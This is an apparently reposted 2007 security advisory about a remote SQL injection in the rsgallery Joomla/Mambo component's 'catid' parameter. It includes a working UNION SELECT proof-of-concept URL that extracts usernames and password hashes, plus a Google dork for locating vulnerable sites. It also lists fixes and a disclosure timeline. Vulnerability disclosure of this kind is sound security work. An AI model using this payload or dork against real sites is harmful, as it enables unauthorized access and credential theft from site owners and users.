[ECHO_ADV_86$2007] Mambo/Joomla Component rsgallery <= 2.0 beta 5 (catid) Remote SQL Injection Vulnerability
Posted by az001 on December 03 2007 18:49:39
Vulnerability :
Input passed to the "catid" parameter is not properly verified before being used to sql query.
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.

Extended News
Author : M.Hasran Addahroni
Date : November, 30 th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv86-K-159-2007.txt
Critical Lvl : Medium
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : rsgallery
version : <= 2.0 beta 5
Vendor : http://www.rsdev.nl/
Description :

RSGallery is one of the most complete Gallery solutions for Joomla at this point

Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "catid" parameter is not properly verified before being used to sql query.
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~~

http://target.com/index.php?option=com_rsgallery&page=inline
&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),
6,7,8,9,10,11%20from%20mos_users--

Dork:
~~~~~
Google : "option=com_rsgallery" or inurl:”index.php?option=com_rsgallery”



Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
- use the latest version

Timeline:
~~~~~~~~~

- 30 -11 - 2007 bug found
- 3 -12 - 2007 publish advisory
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Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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